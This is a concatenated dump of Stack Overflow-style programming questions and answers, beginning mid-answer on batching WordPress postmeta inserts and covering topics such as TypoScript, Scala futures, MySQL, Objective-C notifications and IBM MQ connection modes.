(`post_id`,`meta_key`,`meta_value`) VALUES ( $post_id, 'artist_name' , $artist) ( $post_id, 'song_length' , $length ) ( $post_id, 'song_genre' , $genre ) ...` </code></pre> <p>and so forth for all the 6 custom fields in my case, all rolled in inside a single <code>$wpdb-&gt;query();</code> .</p> <p>Tweaking my process_custom_post() function to reflect this, I ended up with:</p> <pre><code>function process_custom_post($song) { global $wpdb; // Prepare and insert the custom post $track = (array_key_exists(0, $song) &amp;&amp; $song[0] != "" ? $song[0] : 'N/A'); $custom_post = array(); $custom_post['post_type'] = 'songs'; $custom_post['post_status'] = 'publish'; $custom_post['post_title'] = $track; $post_id = wp_insert_post( $custom_post ); // Prepare and insert the custom post meta $meta_keys = array(); $meta_keys['artist_name'] = (array_key_exists(1, $song) &amp;&amp; $song[1] != "" ? $song[1] : 'N/A'); $meta_keys['song_length'] = (array_key_exists(2, $song) &amp;&amp; $song[2] != "" ? $song[2] : 'N/A'); $meta_keys['song_genre'] = (array_key_exists(3, $song) &amp;&amp; $song[3] != "" ? $song[3] : 'N/A'); $meta_keys['song_year'] = (array_key_exists(4, $song) &amp;&amp; $song[4] != "" ? $song[4] : 'N/A'); $meta_keys['song_month'] = (array_key_exists(5, $song) &amp;&amp; $song[5] != "" ? $song[5] : 'N/A'); $meta_keys['sample_playlist'] = (array_key_exists(6, $song) &amp;&amp; $song[6] != "" ? $song[6] : ''); $custom_fields = array(); $place_holders = array(); $query_string = "INSERT INTO $wpdb-&gt;postmeta ( post_id, meta_key, meta_value) VALUES "; foreach($meta_keys as $key =&gt; $value) { array_push($custom_fields, $post_id, $key, $value); $place_holders[] = "('%d', '%s', '%s')"; } $query_string .= implode(', ', $place_holders); $wpdb-&gt;query( $wpdb-&gt;prepare("$query_string ", $custom_fields)); return true; } </code></pre> <p>and viola! Instead of 7 INSERT calls to the database per custom post, I end up with 2 making a gynormous difference when attempting to process multiple custom fields while iterating over a large number of posts - in my case now, 20k entries are processed to completion within 15-20min (vs a situation where I would experience a dropout after ~17k posts and a few hrs of processing time)...</p> <p>So the key thing I learned from this whole experience, </p> <p>mind your database calls - they can quickly add up!</p>
8253649	0	tt_news - where is the register "newsMoreLink" be defined? <p>The extension tt_news is very useful for me but there is this little thingy called "register:newsMoreLink". This register does contain the singlePid of the contentelement (defined a single view page) and the uid of the newsarticle from the news extension. </p> <p>This is the typoscript section of the "new ts" of the extension tt_news As you can see there is "append.data = register:newsMoreLink"...</p> <pre><code>plugin.tt_news { displayLatest { subheader_stdWrap { # the "more" link is directly appended to the subheader append = TEXT append.data = register:newsMoreLink append.wrap = &lt;span class="news-list-morelink"&gt;|&lt;/span&gt; # display the "more" link only if the field bodytext contains something append.if.isTrue.field = bodytext outerWrap = &lt;p&gt;|&lt;/p&gt; } } } </code></pre> <p>What is "register:newsMoreLink"? Is this like a function or something? I do not know. But "register:newsMoreLink" produces a strange link if I use this on "append.data". It produces are "More >" link. The "More >" <em>link</em> after a news article teaser looks like this: </p> <blockquote> <p><a href="http://192.168.1.29/website/index.php?id=" rel="nofollow">http://192.168.1.29/website/index.php?id=</a><strong>474</strong>&amp;tx_ttnews%5Btt_news%5D=<strong>24</strong>&amp;cHash=95d80a09fb9cbade7e934cda5e14e00a</p> </blockquote> <p>474 is the "singlePid" (this is what it calls in the database 24 is the "uid" of the news article (the ones you create with the tt_news plugin in the backend)</p> <p>My question is: Where is the "register:newsMoreLink" defined? Is it defined generally or do I miss a fact of Typo3..? How can I add an anchor link at the end of this "More >" href? Like: </p> <blockquote> <p><a href="http://192.168.1.29/website/index.php?id=474&amp;tx_ttnews%5Btt_news%5D=24&amp;cHash=95d80a09fb9cbade7e934cda5e14e00a" rel="nofollow">http://192.168.1.29/website/index.php?id=474&amp;tx_ttnews%5Btt_news%5D=24&amp;cHash=95d80a09fb9cbade7e934cda5e14e00a</a><strong>#myAnchor1</strong></p> </blockquote>
20279340	0	 <p>Let's start from the beginning. Since <code>fs</code> is a <code>List[Future[T]]</code>, you know <code>x</code> is a <code>Future[T]</code>.</p> <p>You need to register a callback that will fire when the result of <code>x</code> becomes available. The easy way to do this is with <code>onComplete</code>, which takes a function of type <code>Try[T] =&gt; U</code>. </p> <p>So the underscore is a <code>Try[T]</code>, which holds the result of <code>x</code>, the <code>Future[T]</code>. There are two possible results for a <code>Future</code>: <code>Success[T]</code>, when the <code>Future[T]</code> worked and holds a result, and <code>Failure[T]</code>, which holds an exception because the <code>Future[T]</code> didn't work. </p> <p>So <code>Try</code> is similar to <code>Option</code>, a way to safely represent an outcome.</p> <p>Hope that helps.</p>
36287102	0	 <p>For Junk values, Try to change the baud rate!<br/><br/> I think you are sending a data from BT device to android device only one time. try running the code continuously in arduino device. </p> <p><code>while(1){ loop(); }</code></p>
7732831	0	 <p>Assuming you want to use <code>Ada.Text_IO</code> and not just <code>Put_Line</code> specifically, and assuming that <code>Number_Of_Rows</code> is meant to be an integer range like <code>Num_Char</code>, that would be</p> <pre><code>for R in The_Chars'Range (1) loop for C in The_Chars'Range (2) loop Ada.Text_IO.Put (The_Chars (R, C)); end loop; Ada.Text_IO.New_Line; end loop; </code></pre>
6306529	0	 <p>You can limit your search results, from the <a href="http://help.eclipse.org/helios/index.jsp?topic=/org.eclipse.jdt.doc.user/reference/ref-dialog-java-search.htm" rel="nofollow">Java Search</a> tab, if you are employing Java Search in the first place.</p> <p>Searches can be limited to References, Declarations, Implementors and selected other areas of the source code, instead of All ocurrences (which might be the default in your case).</p> <p>If you are referring to plain text searches (the File Search tab), then you are out of luck.</p>
10704232	0	 <p>Another option is to just use Resharper's To-do Explorer window, which you probably already have and if not, should have. You can dock it right with the other windows. It parses all the files (cs, js, css, etc.).</p>
22969828	0	 <p>I recommend you use jQuery, this works:</p> <pre><code>$("#city").change(function (e) { e.preventDefault; var city = $("#city option:selected").text(); if ( city == "Berlin" ) { alert("You are in Berlin"); } }); </code></pre>
40855257	0	 <p>Another nice workaround is to declare a static instance of your view model in App.xaml: <code>&lt;ViewModelTypeName x:Key="ViewModelName" d:IsDataSource="True" /&gt;</code>and bind like this <code>Command="{Binding Source={StaticResource ViewModelName}, Path=MyCommand}"</code> I had the same issue when i needed to bind from Window and menuitem's native DataContext simultaneously. Also this solution looks not that complicated.</p>
5767250	0	 <p>Upgrade to Xcode 4.0.2. </p> <p>It fixed this issue (crash on launch for ARMv6 but not ARMv7 with optimization turned on) for us.</p>
11899486	0	 <p>The most efficient seems to be setting the opacity in my tests. Another simple approach is to redraw the visuals that are affected.</p> <pre><code>using (DrawingContext dc = RenderOpen()) {} //Hide this visual </code></pre> <p>And then redraw when they become visible again.</p> <p>Rendering a blank drawingcontext seems to be very quick. But if you have complicated visuals it could take time to rerender them when they become visible.</p>
36824566	0	Calling a method individually by class selector <p>In my blog I'm using Pico CMS, in the index.twig page I wrote this code that generates HTML with page title, description, and URL:</p> <pre><code>{% for page in pages|sort_by("time") %} {% if page.id starts with "blog/" %} &lt;div class="post"&gt; &lt;h3&gt; &lt;a class="page-title" href="{{ page.url }}"&gt;{{ page.title }}&lt;/a&gt; &lt;small class="date"&gt;{{ page.date }}&lt;/small&gt; &lt;/h3&gt; &lt;p class="excerpt"&gt;{{ page.description }}&lt;/p&gt; {% endif %} {% endfor %} </code></pre> <p>My idea was to make each title in a different color, I used <a href="https://github.com/davidmerfield/randomColor" rel="nofollow">randomColor</a>, and wrote this JavaScript:</p> <pre><code>$('.page-title').css('color', randomColor() ); </code></pre> <p>But this makes all the page-titles in the page to be of same color, I would like each of them in a different color. This is the website: <a href="http://blog.lfoscari.com" rel="nofollow">blog.lfoscari.com</a></p>
39537192	0	R plot.xts error bars <p>Trying to put error bars on a time series plot using <code>plot.xts</code></p> <pre><code>&gt; myTS[1:20] [,1] 2013-07-01 29 2013-07-03 24 2013-07-03 16 2013-07-03 16 2013-07-03 12 2013-07-03 12 2013-07-03 16 2013-07-03 21 2013-07-03 21 2013-07-03 16 2013-07-05 12 2013-07-05 12 2013-07-05 12 2013-07-05 12 2013-07-08 16 2013-07-08 23 2013-07-08 16 2013-07-08 12 2013-07-09 16 2013-07-09 12 </code></pre> <p>I've aggregated this using <code>myTSquarterly = apply.quarterly(myTS,mean)</code></p> <pre><code>&gt; myTSquarterly [,1] 2013-09-30 24.50829 2013-12-31 23.79624 2014-03-31 24.15170 2014-06-30 24.57641 2014-09-30 23.71467 2014-12-31 22.99500 2015-03-31 24.50423 2015-06-30 25.19950 2015-09-30 24.76330 2015-12-31 24.65810 2016-03-31 25.35616 2016-06-30 22.71066 2016-07-27 20.63636 </code></pre> <p>I can plot easily using <code>plot.xts(myTSquarterly)</code>:</p> <p><a href="https://i.stack.imgur.com/fOXD8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/fOXD8.png" alt="enter image description here"></a></p> <p>I can calculate standard deviation easily as well with <code>apply.quarterly(myTS,sd)</code></p> <p>I would like to add these standard deviation info as error bars to the plot, but I cannot find a method for this?</p>
12763310	0	 <p>It seems, that your problem has indeed to do with UTF-8. I analyzed your example pages with firebug, and it revealed, that the html pages contain the <strong>UTF-8 BOM-header</strong>, but the untranslated page contains it twice!</p> <p>These 3 characters ( ï»¿) at the begin of the file are written by your editor, but they won't be displayed. With a HEX-editor you can see the difference, you can also go to the file properties and look at the file size, you will notice that they differ slightly.</p> <p>My recommendation would be, to save the files as UTF-8 <strong>without</strong> BOM-header. Especially the double header makes the IE to switch to the quirks-mode (you can press <code>F12</code> to get the developer tools in IE to see it), and that causes the different rendering. A double BOM-header is wrong in any case.</p> <p>EDIT:</p> <p>Just found a wonderful tool for <a href="http://validator.w3.org/i18n-checker/" rel="nofollow">checking utf-8 BOM and header</a> problems.</p>
26094832	0	Load https site in iframe on http site <p>We want to load a page of our platform into an iframe on a client site. Our platform contains a SSL certificate and runs always on HTTPS. The client's site runs on HTTP. </p> <p>The URL that get's loaded into the iframe contains URL params for the name of the user. Are these url parameters send encrypted because the site in the iframe is HTTPS or are they accessible because the the parameters are created on the client HTTP site?</p> <p>Short example: Client site (HTTP) loads iframe with url "<a href="https://oursite.com/?firstname=Bob&amp;lastname=Forrest" rel="nofollow">https://oursite.com/?firstname=Bob&amp;lastname=Forrest</a>". Are the URL parameters encrypted when they are transferred to the iframe site?</p> <p>Thanks in advance.</p>
16197555	0	Keeping std::map balanced when using an object as key <p>I am writing some code where I am storing lots of objects that I want to get back based on set criteria. So to me it made sense to use a map with an object as a key. Where the object would contain the "set criteria".</p> <p>Here is a simplified example of the kind of objects i am dealing with:</p> <pre><code> class key { int x,y,w,h; } class object { ... } std::map&lt;key, object, KeyCompare&gt; m_mapOfObjects; </code></pre> <p>Quite simple, the first thought was to create a compare functions like this:</p> <pre><code> struct KeyCompare { bool operator()(const key &amp;a, const key &amp;b) { return a.x &lt; b.x || a.y &lt; b.y || a.w &lt; b.w || a.h &lt; b.h; } } </code></pre> <p>but then i thought the chances of this returning true are quite high. So I figured this would lead to a very unbalanced tree and therefore slow searching. </p> <p>My main worry is that as I understand it, std::map uses that one function in this way: if( keyCompare(a,b) ) { //left side } else if (keyCompare(b,a)) { //right side } else { //equal } So i can't just use a.x &lt; b.x, because then anything with the same x would be considered equal, which is not what i want. I would not mind it ordering it in this way but its the "equal" bit i just can't seem to solve without making it unbalanced. </p> <p>I figure multiplying them all together is a no no for obvious reasons.</p> <p>So the only solution i could come up with was to create a "UID" base on the info:</p> <pre><code> typedef long unsigned int UIDType; class key { private: UIDType combine(const UIDType a, const UIDType b) { UIDType times = 1; while (times &lt;= b) times *= 10; return (a*times) + b; } void AddToUID(UIDType number) { if(number &lt; m_UID) { m_UID = combine(number, m_UID); } else { m_UID = combine(m_UID, number); } } UIDType UID; public: int x,y,w,h; key() { AddToUID(x); AddToUID(y); AddToUID(w); AddToUID(h); } } struct KeyCompare { bool operator()(const key &amp;a, const key &amp;b) { return a.UID &lt; b.UID; } } </code></pre> <p>But not only does that feel a little hacky, "long unsigned int" isn't big enough to hold the potential numbers. I <em>could</em> put it in a string, but speed is an issue here and I assumed an std::string &lt; is expensive. Overall though the smaller i can make this object the better. </p> <p>I was wondering if anyone has any suggestions for how to do this better. Perhaps i need to use something other then a std::map or perhaps there is another overload. Or perhaps there is something glaringly obvious that i'm missing here. I really feel like i'm over-complicating this, perhaps im really barking up the wrong tree with a map. </p> <p>As i was writing this it occurs to me that divide is another way to get a "unique" number but that could also equal very large numbers</p>
8327569	0	 <p>Here:</p> <pre><code>public static bool TryConvertToInt32(decimal val, out int intval) { if (val &gt; int.MaxValue || val &lt; int.MinValue) { intval = 0; // assignment required for out parameter return false; } intval = Decimal.ToInt32(val); return true; } </code></pre>
11192505	0	Update MySQL field; condition = string field between two numbers <p>I am trying to update a field's value if a string column is between two numbers.</p> <pre><code>UPDATE SAMPLE.EXAMPLE SET modNum = CONCAT(modNum,"26") WHERE modNum NOT LIKE '%26%' AND (procKey BETWEEN 90000 AND 99123 OR procKey = 77444); </code></pre> <p>Unfortunately I get an error: </p> <blockquote> <p>Error Code: 1292. Truncated incorrect DOUBLE value: '4123F '</p> </blockquote> <p>I am surprised because when I do a select I get the expected results.</p> <pre><code>SELECT * FROM SAMPLE.EXAMPLE WHERE modNum NOT LIKE '%26%' AND (procKey BETWEEN 90000 AND 99123 OR procKey = 77444); </code></pre> <p>Create table statement:</p> <pre><code>'CREATE TABLE `example` ( `id` int(11) NOT NULL AUTO_INCREMENT, `modNum` char(4) DEFAULT NULL, `procKey` char(8) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=latin1' </code></pre> <p>Sample Data:</p> <pre><code>INSERT INTO `SAMPLE`.`EXAMPLE` (`modNum`, `procKey`) VALUES ('42', '99001'); INSERT INTO `SAMPLE`.`EXAMPLE` (`modNum`, `procKey`) VALUES ('42', '9900f'); </code></pre> <p>What can I do to update the columns given my conditions?</p> <hr> <hr> <p>To me it looks like a bug. The best I can come up with is to check if the value of procKey is an integer by using regular expressions. I changed my UPDATE statement to be:</p> <pre><code>UPDATE SAMPLE.EXAMPLE SET modNum = CONCAT(modNum,"26") WHERE modNum NOT LIKE '%26%' AND procKey REGEXP '^[0-9]+$' AND (procKey BETWEEN 90000 AND 99123 OR procKey = 77444); </code></pre> <p>Please, let me know if there is a better way.</p>
5709094	0	Raise an event from inside native c function? <p>I am developing an application that does a callback to a native c function after playing a system sound. I would like to raise an event when this happens, so a subscriber on my view may handle it.</p> <pre><code>-(void) completionCallback(SystemSoundID mySSID, void* myself) { [[NSNotificationCenter defaultCenter] postNotificationName:@"SoundFinished" object: myself]; } </code></pre> <p>I recieve <code>unrecognized selector sent to instance ...</code></p> <p>On the view, I have the following code:</p> <pre><code>[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(soundStopped) name:@"SoundFinished" object:nil]; </code></pre> <p>...</p> <pre><code>-(void) soundStopped: (NSNotification*) notification { NSLog(@"Sound Stopped"); } </code></pre> <p>I am extremely new to objective-c, where am I going wrong?</p> <p>Update The exact error is:</p> <pre><code> 2011-04-18 19:27:37.922 AppName[5646:307] *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[BackgroundTestViewController soundStopped]: unrecognized selector sent to instance 0x13b4b0' </code></pre>
36267484	0	 <p>My guess is that you're experiencing a compiler bug. The <code>format</code> keyword, as any other keyword declared with <code>BOOST_PARAMETER_KEYWORD</code> from <a href="http://www.boost.org/doc/libs/1_60_0/libs/parameter/doc/html/index.html" rel="nofollow">Boost.Parameter</a>, is indeed a constant reference. However, there is a const-qualified assignment operator in <code>boost::parameter::keyword</code>, which should be picked by the compiler.</p> <p>As a workaround, you can try replacing the keyword with a call to <code>get</code> static function like this:</p> <pre><code>// Replace this: keywords::format = "%Timestamp% %Message%" // with this: boost::parameter::keyword&lt;keywords::tag::format&gt;::get() = "%Timestamp% %Message%" </code></pre> <p>Also, please note that the attribute names are case sensitive, and the <code>add_common_attributes</code> function adds a "TimeStamp" attribute, not "Timestamp" (note the upper-case S).</p>
2817383	0	Basic PHP logic problem <pre><code>$this-&gt;totplpremium is 2400 $this-&gt;minpremiumq is 800 </code></pre> <p>So why would this ever return true?!</p> <pre><code>if ($this-&gt;totplpremium &lt; $this-&gt;minpremiumq){ </code></pre> <p>The figures are definitely correct and I am definitely using the 'less than' symbol. I can't work it out.</p>
10217013	0	 <p>You are probably talking of a borderless <code>NSWindow</code> (<code>NSBorderlessWindowMask</code>), with an opaque background view whose alpha is set to zero and an <code>NSProgressIndicator</code> subview to show the progress. You also probably want to use the <code>-[NSWindow center]</code> method to nicely center your window.</p> <p>However, I doubt that you want that kind of UI. A progress bar is probably not visible on top of all desktops, and thus aesthetically worthless.</p> <p>I think a rounded, half-transparant black window will be more suited in your case. Take a look at <a href="http://mattgemmell.com/source/#roundedfloatingpanel" rel="nofollow">Matt Gemmell's source code</a>.</p>
25719276	0	 <p>The first useful clue is the result of running both commands in the REPL:</p> <pre><code>&gt;&gt;&gt; f = open("asdf.txt","r") &gt;&gt;&gt; f.close &lt;built-in method close of file object at 0x7f38a1da84b0&gt; &gt;&gt;&gt; f.close() &gt;&gt;&gt; </code></pre> <p>So <code>f.close</code> itself returns a method, that you can then call. For example, you could write:</p> <pre><code>&gt;&gt;&gt; x = f.close &gt;&gt;&gt; x() </code></pre> <p>To close the file.</p> <p>So just typing <code>f.close</code> isn't actually enough, as it only returns a method that <em>allows you</em> to close the file. I can even prove this: go make a file and call it <code>example.txt</code>.</p> <p>Then try out the following code:</p> <pre><code>Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; f = open("example.txt","r") &gt;&gt;&gt; f.close &lt;built-in method close of file object at 0x7f3d411154b0&gt; &gt;&gt;&gt; f.readlines() ['this is an example\n', 'file\n'] </code></pre> <p>So if we just write <code>f.close</code>, we can still use <code>f.readlines()</code>: this is proof that the file isn't actually "closed" to access yet!</p> <p>On the other hand, if we use <code>f.close()</code>:</p> <pre><code>Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; f = open("example.txt","r") &gt;&gt;&gt; f.close() &gt;&gt;&gt; f.readlines() Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; ValueError: I/O operation on closed file &gt;&gt;&gt; </code></pre> <p>So that's proof of the previous assertions: <code>f.close()</code> and <code>f.close</code> do in fact <strong>not</strong> do the same things. <code>f.close()</code> actually closes the file, whereas <code>f.close</code> just returns a method to close the file.</p> <hr> <p>In this answer, I used Python 2.7.4. I don't know if the behavior of <code>f.close()</code> and <code>f.close</code> is any different in Python 3+. </p>
6761085	0	 <p>Your regex works. There are no spaces left at the end of the line after you run it. </p> <p>What you probably see is the "residual" incremental highlighting that would go away if you used<br> <code>:%s/[ ]\+$//g</code>. — Note the <code>\+</code> instead of the <code>*</code>. the incremental highlighting remains because <code>*</code> <em>always</em> matches, even with zero spaces.</p> <p>To remove the highlighting, type <code>:noh</code> (short for <code>:nohlsearch</code>).</p> <p>FYI: <code>:%s/[ ]*$//g</code> is equivalent to <code>:%s/ *$//g</code>.</p>
30311092	0	 <p>Put the DNX version inside the global.json file which lives on the root directory of your solution (like <a href="https://github.com/aspnet/Home/blob/239906e943b576d4ffd80bdaf855376aef737c63/samples/1.0.0-beta4/global.json" rel="nofollow noreferrer">here</a>). </p> <pre><code>{ "sdk": { "version": "1.0.0-beta4" } } </code></pre> <p>You may need to restart the Visual Studio.</p> <p>The other way is to configure this through project properties dialog inside Visual Studio:</p> <p><img src="https://i.imgur.com/N4SvwCe.png" alt=""></p>
24656965	0	Slow query using < in a table with 4.000.000 rows <p>My purchasedItems table with approx. 4 million rows:</p> <pre><code>itemId | orderQuantity | inStockQuantity | backorderQuantity | backorderOrderedQuantity </code></pre> <p>My query:</p> <pre><code>SELECT * FROM purchasedItems WHERE backorderOrderedQuantity &lt; backorderQuantity </code></pre> <p>I have indexes on backorderQuantity and backorderOrderedQuantity - and both of them combined. But my query still takes approx. 2-3 seconds.</p> <p>What can I do to improve the speed?</p> <p><strong>Update from comments</strong></p> <p>My quantity columns are smallint(3).</p> <p>The result is very few rows. 20 max.</p> <p><code>EXPLAIN</code>:</p> <pre><code>Select type: SIMPLE type: ALL possible_keys: NULL key: NULL key_len: NULL ref: NULL rows: all of them extra: Using where </code></pre>
27813520	0	 <p>Probably a bit late but I had the same problem and found that this can be avoided if you use a different Connection Mode when connecting to a remote Queue. By default the <code>MQConnectionFactory</code> uses <code>WMQ_CM_BINDINGS</code> as it's connection mode. If you change it to <code>WMQ_CM_CLIENT</code> (or whichever connection mode you like that doesn't require native libraries) you should be fine. </p> <pre><code>@Test public void testMQConnectionMode() throws JMSException { MQConnectionFactory cf = new MQConnectionFactory(); assertThat(cf.getIntProperty(CommonConstants.WMQ_CONNECTION_MODE), is(equalTo(CommonConstants.WMQ_CM_BINDINGS))); cf.setIntProperty(CommonConstants.WMQ_CONNECTION_MODE, CommonConstants.WMQ_CM_CLIENT); assertThat(cf.getIntProperty(CommonConstants.WMQ_CONNECTION_MODE), is(equalTo(CommonConstants.WMQ_CM_CLIENT))); } </code></pre>
19618222	0	 <p>I think you have to put all your functions inside your class file</p> <pre><code> Class resize { private $image; private $width; private $height; private $imageResized; function __construct($fileName) { // *** Open up the file $this-&gt;image = $this-&gt;openImage($fileName); // *** Get width and height $this-&gt;width = imagesx($this-&gt;image); $this-&gt;height = imagesy($this-&gt;image); } // All other functions here ... } </code></pre>
33090032	0	How can I transform an image for Apple Watch? <p>This question is mentioned in explaining <a href="http://stackoverflow.com/questions/33089008/how-can-i-get-a-glance-interface-controller-blank-slate-for-apple-watch">How can I get a [Glance] Interface Controller / blank slate for Apple Watch?</a> , but is a separate basic question.</p> <p>In iOS, if you have a <code>UIImage</code>, you can create a <code>UIImageView</code> which supports, among other things, rotation, translation, and other transforms. In the Swift that I've seen, you can create a <code>WKInterfaceImage</code>, for instance:</p> <pre><code>@IBOutlet var foo: WKInterfaceImage! </code></pre> <p>However, there were no search results matching, for example <code>WKInterfaceImageView</code>.</p> <p>How can I accomplish the work on an Apple Watch that might be done on an iPhone by getting a <code>UIImageView</code> from an <code>Image</code>? Are old-fashioned <code>UIImageView</code>/<code>UIImage</code>s still available? Or is the best available method something like computing an image on the iPhone and dynamically offering it to the watch?</p> <p>Thanks,</p>
32404176	0	 <p>would something like this work? <a href="http://jsfiddle.net/swm53ran/312/" rel="nofollow">http://jsfiddle.net/swm53ran/312/</a></p> <p>if you want to see how the structure could happen over and over again, you could just add the sectioned off divs like in this fiddle: <a href="http://jsfiddle.net/swm53ran/313/" rel="nofollow">http://jsfiddle.net/swm53ran/313/</a></p> <pre><code>&lt;div class="body"&gt; &lt;div class="header col-xs-12"&gt; &lt;div class="row"&gt; &lt;div class="title col-xs-offset-1 col-xs-5"&gt; This is the title &lt;/div&gt; &lt;div class="nav col-xs-5"&gt; This is your nav &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="container col-xs-10 col-xs-offset-1"&gt; This is where your content goes. &lt;/div&gt; &lt;/div&gt; </code></pre>
5838508	0	 <p>The problem is likely to be at the 2nd <code>cur = cur-&gt;next;</code>, which follows the <code>while</code> loop - at that point the loop has guaranteed that <code>cur == NULL</code>.</p> <p>I'm not sure what you're trying to do in that function (has some code been elided for the example?), so don't really have a suggesting at the moment.</p> <p>Also, as your compiler warnings indicate, nothing is being returned by the function even though it's declared to do so. I would have assumed again that this is because something is removed for the purposes of the example in the question, but then again your compiler is complaining as well. Any caller that uses whatever the function is supposed to return is in for a surprise. That surprise may also be a segfault.</p>
30256865	0	 <p>Unfortunately it is something related with a bad design of the class <code>InputStream</code>. If you use <a href="https://docs.oracle.com/javase/7/docs/api/java/io/InputStream.html#read()" rel="nofollow">read()</a> you will have that problem. You should use <a href="https://docs.oracle.com/javase/7/docs/api/java/io/InputStream.html#read(byte[])" rel="nofollow">read(byte[])</a> instead. But as you say, you could also use <code>Int</code>. That is up to you.</p>
33008910	0	Exclude some fields from being validated in $valid in AngularJS <p>I have two select boxes in which a user can move items from select box to another. Say I have <strong>SelectBox1</strong> and <strong>SelectBox2</strong>. I move all the available options from SelectBox1 to SelectBox2. Now while submitting the form I am checking whether the form is valid or not. But when I move all the options from SelectBox1 to SelectBox2, it sets the <strong>$valid</strong> flag to false, which prevents me from moving forward. Is there a way to exclude selectBox1 from being validated by <strong>$valid</strong> in angularJS?</p> <pre><code>&lt;select multiple="multiple" id="selectBox1" class="form-control" ng-model="available" ng-options="role as role.Name for role in availableRoles"&gt; &lt;/select&gt; &lt;select multiple="multiple" id="selectBox2" class="form-control" required onchange="GetFunctionWisePrivileges()" ng-model="selected" ng-options="role as role.Name for role in selectedRoles"&gt;&lt;/select&gt; </code></pre> <p>Also note that SelectBox1 is not required while SelectBox2 is required.</p>
16780639	0	Using assisted injection create a complex dependency tree <p>I have recently learned about the <em>AssistedInject</em> extension to Guice and I thought it would be a nice solution to some design issues that I have. Unfortunately it seems that this solution is limited to just a one level assisted injection. Here comes an illustration of my problem - let's say we have three classes:</p> <pre><code>public class AImpl implements A{ @AssistedInject public AImpl(@Assisted Integer number, B b){ } } public class BImpl implements B { } public class CImpl implements C { @AssistedInject public CImpl(A a){ } } </code></pre> <p>a factory interface:</p> <pre><code>public interface CFactory { C create(Integer number); } </code></pre> <p>and a module:</p> <pre><code>public class ABCModule extends AbstractModule { @Override protected void configure() { bind(A.class).to(AImpl.class); bind(B.class).to(BImpl.class); install(new FactoryModuleBuilder().implement(C.class, CImpl.class).build(CFactory.class)); } public static void main(String[] args) { Guice.createInjector(new ABCModule()).getInstance(CFactory.class).create(123); } } </code></pre> <p>Above fails with following stacktrace:</p> <blockquote> <p>Exception in thread "main" com.google.inject.CreationException: Guice creation errors:</p> <p>1) Could not find a suitable constructor in stack.AImpl. Classes must have either one (and only one) constructor annotated with @Inject or a zero-argument constructor that is not private. at stack.AImpl.class(AImpl.java:12) at stack.ABCModule.configure(ABCModule.java:14)</p> <p>2) stack.CImpl has @AssistedInject constructors, but none of them match the parameters in method stack.CFactory.create(). Unable to create AssistedInject factory. while locating stack.CImpl while locating stack.C at stack.CFactory.create(CFactory.java:1)</p> <p>2 errors at com.google.inject.internal.Errors.throwCreationExceptionIfErrorsExist(Errors.java:435) at com.google.inject.internal.InternalInjectorCreator.initializeStatically(InternalInjectorCreator.java:154) at com.google.inject.internal.InternalInjectorCreator.build(InternalInjectorCreator.java:106) at com.google.inject.Guice.createInjector(Guice.java:95) at com.google.inject.Guice.createInjector(Guice.java:72) at com.google.inject.Guice.createInjector(Guice.java:62) at stack.ABCModule.main(ABCModule.java:21)</p> </blockquote> <p>This obviously means that I want too much from the extension - I hoped that the injector will search deep down in the dependecy tree searching for the @Assisted dependency. Is there any way to do this kind of assisted injection or do I need to implement my factory by myself?</p>
23234037	0	how do I use new App ID & secret ID without affect the existing access token <p>First, I have use Facebook App ID &amp; Secret ID, then Login with Facebook and get Access token,</p> <p>I have changed the my Facebook App ID &amp; Secret ID, but, affect the existing user Access token.</p> <p>How do I get new Application Access token without Login with Facebook?</p>
1666351	0	 <p>You can easily invoke log4j's API programmatically, e.g.</p> <pre><code>FileAppender appender = new FileAppender(); // configure the appender here, with file location, etc appender.activateOptions(); Logger logger = getRootLogger(); logger.addAppender(appender); </code></pre> <p>The <code>logger</code> can be the root logger as in this example, or any logger down the tree. Your unit test can add its custom appender during steup, and remove the appender (using <code>removeAppender()</code>) during teardown.</p>
35844570	0	 <p>Seems there are mixed tabs and whitespaces in your file. If you only want to replace whitespace, say so.</p> <pre><code>:7,10s/^ \{4}//g </code></pre>
12980067	0	 <p>Yes, the problem is that D can be reached over two paths and freed twice.</p> <p>You can do it in 2 phases: Phase 1: Insert the nodes you reached into a "set" datastructure. Phase 2: free the nodes in the "set" datastructure.</p> <p>A possible implementation of that set datastructure, which requires extending your datastructure: Mark all nodes in the datastructure with a boolean flag, so you don't insert them twice. Use another "next"-pointer for a second linked list of all the nodes. A simple one.</p> <p>Another implementation, without extending your datastructure: SOmething like C++ std::set&lt;></p> <p>Another problem: Are you sure that all nodes can be reached, when you start from A? To avoid this problem, insert all nodes into the "set" datastructure at creation time (you won't need the marking, then).</p>
36359833	0	 <p>Where the output should be <code>0c</code>, your code only outputs the <code>c</code> part. This is because <code>printf</code> by default prints the result with the minimum number of characters possible. In this case, you should tell <code>printf</code> that the proper result always contains two hexadecimal digits by giving it a width, and by specifying that a zero should be placed in the most-significant nibble if the input is less than <code>0x10</code>:</p> <pre><code>printf("%02x", output[i]); </code></pre>
39309883	0	 <pre><code>printf("Address of text[0]: %p\n", text[0]); </code></pre> <p>prints the address of C string (the address first element of array points to), while:</p> <pre><code>printf("Address of text : %p\n", text); </code></pre> <p>prints the address of array's first element.</p>
30407326	0	 <p>When the <code>JUnitXmlTestsListener</code> saves an XML element with <code>XML.save</code> the default encoding that is used is <code>ISO-8859-1</code>. It should use <code>UTF-8</code> instead.</p> <p>You can try to remove the <code>JUnitXmlTestsListener</code> from your build and <a href="https://etorreborre.github.io/specs2/guide/SPECS2-3.6/org.specs2.guide.JUnitXmlOutput.html" rel="nofollow">use specs2</a> to generate <code>junit-xml</code> reports:</p> <pre><code>libraryDependencies += "org.specs2" %% "specs2-junit" % "3.6" sbt&gt; testOnly *MySpec -- console junitxml </code></pre>
